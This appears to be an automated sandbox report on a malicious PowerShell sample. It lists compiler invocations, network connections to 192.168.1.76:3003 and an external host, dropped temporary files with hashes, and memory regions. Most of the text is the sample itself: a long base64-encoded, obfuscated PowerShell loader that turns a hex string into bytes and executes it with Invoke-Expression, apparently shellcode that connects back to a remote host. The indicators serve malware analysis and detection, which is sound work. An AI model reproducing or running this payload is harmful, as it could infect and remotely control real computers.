ADgAMgBjADMAMAA3ADgAMwAwADYAMgAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADMAMAA2ADYAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAAzADcAMwAyADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA4ADMAMAAyAGMAMwAwADcAOAAzADgAMwA4ADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAA2ADMAMwAwADIAYwAzADAANwA4ADMANwAzADQAMgBjADMAMAA3ADgAMwA2ADMANwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgANgA0ADMAMAAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADEAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgANgA1ADMAMwAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADMAMwA5ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADMAMwA0ADIAYwAzADAANwA4ADMAOAAzADgAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADYAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgANgAxADYAMwAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADAANgA0ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAxADIAYwAzADAANwA4ADMAMwAzADgAMgBjADMAMAA3ADgANgA1ADMAMAAyAGMAMwAwADcAOAAzADcAMwA1ADIAYwAzADAANwA4ADYANgAzADEAMgBjADMAMAA3ADgAMwA0ADYAMwAyAGMAMwAwADcAOAAzADAAMwAzADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwAyADMANAAyAGMAMwAwADcAOAAzADAAMwA4ADIAYwAzADAANwA4ADMANAAzADUAMgBjADMAMAA3ADgAMwAzADMAOQAyAGMAMwAwADcAOAA2ADQAMwAxADIAYwAzADAANwA4ADMANwAzADUAMgBjADMAMAA3ADgANgA0ADMAOAAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMgAzADQAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgAMwA2ADMANgAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwAwADYAMwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMQA2ADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMAMAAzADQAMgBjADMAMAA3ADgAMwA4ADMAOAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgANgA0ADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADgAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANQA2ADUAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAMwAyAGMAMwAwADcAOAA2ADUANgAzADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA1ADMAMAAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADEAMwAyADIAYwAzADAANwA4ADYANQAzADkAMgBjADMAMAA3ADgAMwA0ADYAMgAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAAzADUANgA0ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgANgAyADYANQAyAGMAMwAwADcAOAAzADcAMwA3ADIAYwAzADAANwA4ADMANwAzADMAMgBjADMAMAA3ADgAMwAzADMAMgAyAGMAMwAwADcAOAAzADUANgA2ADIAYwAzADAANwA4ADMAMwAzADMAMgBjADMAMAA3ADgAMwAzADMAMgAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAMQAyAGMAMwAwADcAOAA2ADUANgAzADIAYwAzADAANwA4ADYAMQAzADAAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANQAzADUAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAA2ADIANgAzADIAYwAzADAANwA4ADMAMAAzADIAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAA2ADIAMgBjADMAMAA3ADgANgAyADYAMgAyAGMAMwAwADcAOAA2ADMAMwAwADIAYwAzADAANwA4ADYAMQAzADgAMgBjADMAMAA3ADgAMwAxADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA0ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADUAMwA0ADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwAxADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgANgAyADYAMQAyAGMAMwAwADcAOAAzADQANgAzADIAYwAzADAANwA4ADMANwAzADcAMgBjADMAMAA3ADgAMwAyADMANgAyAGMAMwAwADcAOAAzADAAMwA3ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA0ADMANQAyAGMAMwAwADcAOAAzADQANgAzADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA1ADYAMQAyAGMAMwAwADcAOAAzADYAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMgA2ADEAMgBjADMAMAA3ADgAMwAyADMAOQAyAGMAMwAwADcAOAAzADgAMwAwADIAYwAzADAANwA4ADMANgA2ADIAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA2ADYAMQAyAGMAMwAwADcAOAAzADAAMwA1ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADYANQAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMANQAzADAAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADYANQA2ADEAMgBjADMAMAA3ADgAMwAwADYANgAyAGMAMwAwADcAOAA2ADQANgA2ADIAYwAzADAANwA4ADYANQAzADAAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADMAMwA3ADIAYwAzADAANwA4ADMANgA2ADEAMgBjADMAMAA3ADgAMwAxADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADgAMgBjADMAMAA3ADgAMwA0ADYAMwAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANQAzADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADMAOQAzADkAMgBjADMAMAA3ADgANgAxADMANQAyAGMAMwAwADcAOAAzADcAMwA0ADIAYwAzADAANwA4ADMANgAzADEAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMAOAAzADUAMgBjADMAMAA3ADgANgAzADMAMAAyAGMAMwAwADcAOAAzADcAMwA0ADIAYwAzADAANwA4ADMAMAA2ADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwA2ADUAMgBjADMAMAA3ADgAMwA3ADMANQAyAGMAMwAwADcAOAA2ADUAMwA1ADIAYwAzADAANwA4ADMANgAzADgAMgBjADMAMAA3ADgANgA2ADMAMAAyAGMAMwAwADcAOAA2ADIAMwA1ADIAYwAzADAANwA4ADYAMQAzADIAMgBjADMAMAA3ADgAMwA1ADMANgAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwAzADIAYwAzADAANwA4ADYANQA2ADMAMgBjADMAMAA3ADgAMwAxADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA1ADMAMgAyAGMAMwAwADcAOAAzADQANgA0ADIAYwAzADAANwA4ADMAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADYANgAxADIAYwAzADAANwA4ADMAMAAzADQAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwA5ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgANgAyADYAMQAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADYANAAzADkAMgBjADMAMAA3ADgANgAzADMAOAAyAGMAMwAwADcAOAAzADUANgA2ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA0ADMANQAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADMAMgBjADMAMAA3ADgANgAzADMANAAyAGMAMwAwADcAOAAzADIAMwAwADIAYwAzADAANwA4ADMANQA2ADUAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwA2ADIAYwAzADAANwA4ADMANgA2ADEAMgBjADMAMAA3ADgAMwA0ADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADkAMgBjADMAMAA3ADgAMwA2ADMAOAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMQAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA2ADMAMgAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMgA2ADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAA2ADEAMwA0ADIAYwAzADAANwA4ADMANQAzADMAMgBjADMAMAA3ADgANgA1ADMANQAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADcAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANAA2ADEAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADMAMAAzADIAMgBjADMAMAA3ADgANgA0ADMAOQAyAGMAMwAwADcAOAA2ADMAMwA4ADIAYwAzADAANwA4ADMANQA2ADYAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAzADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAyADMAOQAyAGMAMwAwADcAOAA2ADMAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAA2ADYAMwA2ADIAYwAzADAANwA4ADMANwAzADUAMgBjADMAMAA3ADgANgA1ADMAMQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA1ADMANwAzAGIAMgA0ADcAMwA0ADIANQA0ADYAMQA0AGMAMwA4ADUANgA0ADkANQA5ADQAYgA0ADEANAA0ADMAZAAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA3ADcANgA2ADkANwAyADcANAA1ADUANgAxADYAYwA2ADEANABjADIANwAyAGIAMgA3ADQAYwA2AGYANgAzADIANwAyADkAMgBlADYAOQA0AGUANwA2ADQAZgA0AGIANgA1ADIAOAAzADAAMgBjADUAYgA0AGQANgAxADcANAA2ADgANQBkADMAYQAzAGEAMgA4ADIANwA3AGIAMwAxADcAZAA3AGIAMwAwADcAZAAyADcAMgBkADYANgAyADcANwA4ADIANwAyAGMAMgA3ADQAZAA2ADEAMgA3ADIAOQAyAGUANgA5ADYAZQA1ADYANgBmADQAYgA0ADUAMgA4ADIANAA0ADUANQA0ADQAZAA1ADUANABhADcAOAA3ADAAMwA0ADQAYwA2ADcAMwA4ADMANwAyAGUAMgA4ADIANwA2AGMAMgA3ADIAYgAyADcANgA1ADYAZQA0ADcANQA0ADIANwAyAGIAMgA3ADQAOAAyADcAMgA5ADIAYwAzADAANwA4ADMAMQAzADAAMwAwADMAMAAyADkAMgBjADMAMAA3ADgAMwAzADMAMAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADAAMgA5ADMAYgA2ADYANgBmADcAMgAyADgAMgA0ADQANQA3ADUANgAyADYAOAA2ADgANgBiADcAMAA3ADEANwA2ADMAMgAzADEAMwA4ADMAZAAzADAAMwBiADIANAA0ADUANwA1ADYAMgA2ADgANgA4ADYAYgA3ADAANwAxADcANgAzADIAMwAxADMAOAAyADAAMgBkADYAYwA2ADUAMgAwADIAOAAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcAMgBlADIAOAAyADcANABjADIANwAyAGIAMgA3ADYANQAyADcAMgBiADIANwA0AGUAMgA3ADIAYgAyADcANAA3ADIANwAyAGIAMgA3ADUANAA2ADgAMgA3ADIAOQAyAGQAMwAxADIAOQAzAGIAMgA0ADQANQA3ADUANgAyADYAOAA2ADgANgBiADcAMAA3ADEANwA2ADMAMgAzADEAMwA4ADIAYgAyAGIAMgA5ADcAYgA1AGIANwA2ADQAZgA0ADkANAA0ADUAZAAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA4ADIANwAzADIAMgAwADMAMAAyADAAMwAyADIAMAAzADMAMgAwADMAMAAyADAAMwAxADIANwAyAGQANQAyADYANQA1ADAANABjADYAMQA0ADMANAA1ADIANwA1AGMANwA3ADIAYgAyADcAMgBjADIANwA3AGIAMgA0ADcAYgAzADAANwBkADcAZAAyADcAMgBkADcAMgA0ADUANwAwADYAYwA0ADEANgAzADQANQAyADcAMgAwADIANwAyAGMAMgA3ADIANwAyADkAMgBkADYANgAyADcANgA1ADIANwAyAGMAMgA3ADcANAAyADcAMgBjADIANwA2AGQAMgA3ADIAYwAyADcANwAzADIANwAyADkAMgBlADQAOQA2AGUANQA2ADYAZgA2AGIANgA1ADIAOAA1AGIANgA5ADYAZQA1ADQANQAwADUANAA1ADIANQBkADIAOAAyADQANwAzADQAMgA1ADQANgAxADQAYwAzADgANQA2ADQAOQA1ADkANABiADQAMQA0ADQAMgBlADUANAA2AGYANAA5ADYAZQA3ADQAMwA2ADMANAAyADgAMgA5ADIAYgAyADQANAA1ADcANQA2ADIANgA4ADYAOAA2AGIANwAwADcAMQA3ADYAMwAyADMAMQAzADgAMgA5ADIAYwAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcANQBiADIANAA0ADUANwA1ADYAMgA2ADgANgA4ADYAYgA3ADAANwAxADcANgAzADIAMwAxADMAOAA1AGQAMgBjADMAMQAyADkANwBkADMAYgAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA4ADIANwAzADQAMgAwADMAMwAyADAAMwAxADIAMAAzADYAMgAwADMAMAAyADAAMwAxADIAMAAzADAAMgAwADMANQAyADAAMwAzADIAMAAzADEAMgAwADMANgAyADAAMwAyADIANwAyAGQANwAyADQANQA1ADAANgBjADYAMQA2ADMANgA1ADIANwA1AGMANwA3ADIAYgAyADcAMgBjADIANwA3AGIAMgA0ADcAYgAzADAANwBkADcAZAAyADcAMgBkADcAMgA0ADUANwAwADQAYwA0ADEANAAzADYANQAyADcAMgAwADIANwAyAGMAMgA3ADIANwAyADkAMgBkADYANgAyADcANwA0ADIANwAyAGMAMgA3ADYANQAyADcAMgBjADIANwA2ADQAMgA3ADIAYwAyADcANwAyADIANwAyAGMAMgA3ADYAMwAyADcAMgBjADIANwA2ADgAMgA3ADIAYwAyADcANgAxADIANwAyADkAMgBlADQAOQA2AGUANwA2ADYAZgA0AGIANgA1ADIAOAAzADAAMgBjADMAMAAyAGMAMgA0ADcAMwA0ADIANQA0ADYAMQA0AGMAMwA4ADUANgA0ADkANQA5ADQAYgA0ADEANAA0ADIAYwAzADAAMgBjADMAMAAyAGMAMwAwADIAOQAzAGIAMgBlADIAOAAyADYAMgA4ADIANwA3AGIAMwAwADcAZAAyADcAMgBkADYANgAyADcANAA3ADYAMwA0AGQAMgA3ADIAOQAyADgAMgA4ADIANwAzADUAMgAwADMANgAyADAAMwAwADIAMAAzADMAMgAwADMANgAyADAAMwAxADIAMAAzADUAMgAwADMAMgAyADAAMwA3ADIAMAAzADcAMgAwADMANAAyADcAMgBkADcAMgA0ADUANQAwADQAYwA2ADEANgAzADQANQAyADcANQBjADcANwAyAGIAMgA3ADIAYwAyADcANwBiADIANAA3AGIAMwAwADcAZAA3AGQAMgA3ADIAZAA3ADIANgA1ADcAMAA0AGMANgAxADQAMwA2ADUAMgA3ADIAMAAyADcAMgBjADIANwAyADcAMgA5ADIAZAA2ADYAMgA3ADYAMQAyADcAMgBjADIANwAyAGQAMgA3ADIAYwAyADcANgBjADIANwAyAGMAMgA3ADcAMgAyADcAMgBjADIANwA3ADAAMgA3ADIAYwAyADcANwAzADIANwAyAGMAMgA3ADcANAAyADcAMgBjADIANwA2ADUAMgA3ADIAOQAyADkAMgAwADMAMQAzADAAMwAwADMAMAAzADAAMwAwACcALQBTAHAAbABJAFQAJwAoAD8APAA9AFwARwAuAHsAMgB9ACkAKAA/ACEAJAApACcAKQB8ACUAewBbAGMATwBuAFYARQByAFQAXQA6ADoAKAAnAHsAMQB9AHsAMAB9ACcALQBmACcANgAnACwAJwB0AE8AaQBuAHQAMQAnACkALgBpAG4AdgBPAGsARQAoACgAJABfACkALAAxADYAKQAtAEEAcwBbAEMAaABBAHIAXQB9ACkAKQB8ACYAKAAnAHsAMAB9AHsAMgB9AHsAMQB9ACcALQBmACcAaQBuAFYATwBLAGUALQBFAFgAUAByAEUAUwBzACcALAAnAE8ATgAnACwAJwBpACcAKQA=

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0sf4hlth\0sf4hlth.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6A33.tmp" "c:\Users\Admin\AppData\Local\Temp\0sf4hlth\CSC4857AA85DFF943668EAA7941B729A629.TMP"

Network

Country Destination Domain Proto
N/A 192.168.1.76:3003 tcp
US 52.111.229.43:443 tcp

Files

memory/4140-1-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

memory/4140-2-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xqlfbqzc.5hx.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4140-4-0x0000027ECA680000-0x0000027ECA6A2000-memory.dmp

memory/4140-13-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

memory/3988-14-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

memory/3988-24-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

memory/3988-25-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\NhtFdGsdMvXq

MD5 564cd7430e1f0c9e700b0bc7aa052ec4
SHA1 7965a987ae75c5e2fa963d8c1cfa330a133d6b2f
SHA256 37d79ef3682a44aebae29f7e7f2c7cd23829c864f3afcec91fe0fab6ceb9f2d6
SHA512 98472b494815b05a19324b6ed744c0b0cf3bed060eca4cb97e4889454c36c3296a70cb0b7fedf3bd78198076bd8e01abbcdaf7d0935887a33e89be6030e820ff

\??\c:\Users\Admin\AppData\Local\Temp\0sf4hlth\0sf4hlth.cmdline

MD5 67f2835110f44879c4e6cacbf1600297
SHA1 83dfd39f5bce243c5c389fbfe01a6cfad3be131f
SHA256 3c1d14a3d41efa6a3d68d4babf5c38ebd6916f072bdd8d99b3ed149451d5eb09
SHA512 05d61a86d7ac524aaaff239ced52c83a7a2b17ac976bfe99191afb3e612e3a1a0d651f3626228d94259fddb91f83ea88f5314d7a9dcc2d98fb4bb37fd15ebc78

\??\c:\Users\Admin\AppData\Local\Temp\0sf4hlth\0sf4hlth.0.cs

MD5 d59192cd62b1181c0b262851a997c010
SHA1 9082c004d37dc542f280429c45731f1003d6fae8
SHA256 bef9c73345764ef5ee711edd13260e78d0d2de16c7d11ca7f93d9edb4c9b5a53
SHA512 f6d6b3e5e5f46030442062bca8058e02e552a087f3c8876281991338b37ca2eb87d7a8c5f1864182f4190c965ec9bdc4e28f247f654be0cc87759e5fd3f3da83

\??\c:\Users\Admin\AppData\Local\Temp\0sf4hlth\CSC4857AA85DFF943668EAA7941B729A629.TMP

MD5 a40f75d9da303563af2108f191536498
SHA1 4e927497108d529fbf8b59be4ae5001e76bedfa8
SHA256 3c59281ae46ad6c76f412d6a9374d3f2e76f3947917cf15fd4fb96958a75d4f4
SHA512 410422d9f472c38796816721c06be8b186bf890184cbd5ef7f6c212ab9d54487902c70bd8bb97d40e2a9a041afaa37f2d9a7540d6c1a82549426d4a5503876d6

C:\Users\Admin\AppData\Local\Temp\RES6A33.tmp

MD5 0d49e036141b2e9ef2a2a8b6ce7ec86b
SHA1 a002c891daa3ca27ec26487ed9765cc8ecd91a52
SHA256 2997779d88e000b92ace329b1a937eceb2cac3d90f9028ab6d3d8e64a77b5827
SHA512 daf19c086d8d04487531a0531f8e57a4ebe5831504a039509d32bfa2d4943ba6da451cedc41d2de00183461995d9c83d06f62bee8309904d3c128f53bf39e465

C:\Users\Admin\AppData\Local\Temp\0sf4hlth\0sf4hlth.dll

MD5 42ad2f81481bcb4621642bf44a9084a1
SHA1 6fe0764224336ebba01069ac23e7ec2bb61adc61
SHA256 50a8f04306a6fa2231c949edff2fa3186cfe6410932d7a19da116a544df44f5f
SHA512 aa7fe20c2611064033fcfac41400c193f9c01a4b3c9784fd3bf4e1f7afd30892a058cf40892ecee8ac3dfec2f7a5db266b5b5f7f5afda7897652477f90193c01

memory/3296-48-0x000001A732810000-0x000001A732818000-memory.dmp

memory/3296-50-0x000001A733EA0000-0x000001A733EA1000-memory.dmp

memory/4884-51-0x00007FF782170000-0x00007FF7821D5000-memory.dmp

memory/4140-52-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

memory/3988-53-0x00007FFFB4210000-0x00007FFFB44D9000-memory.dmp

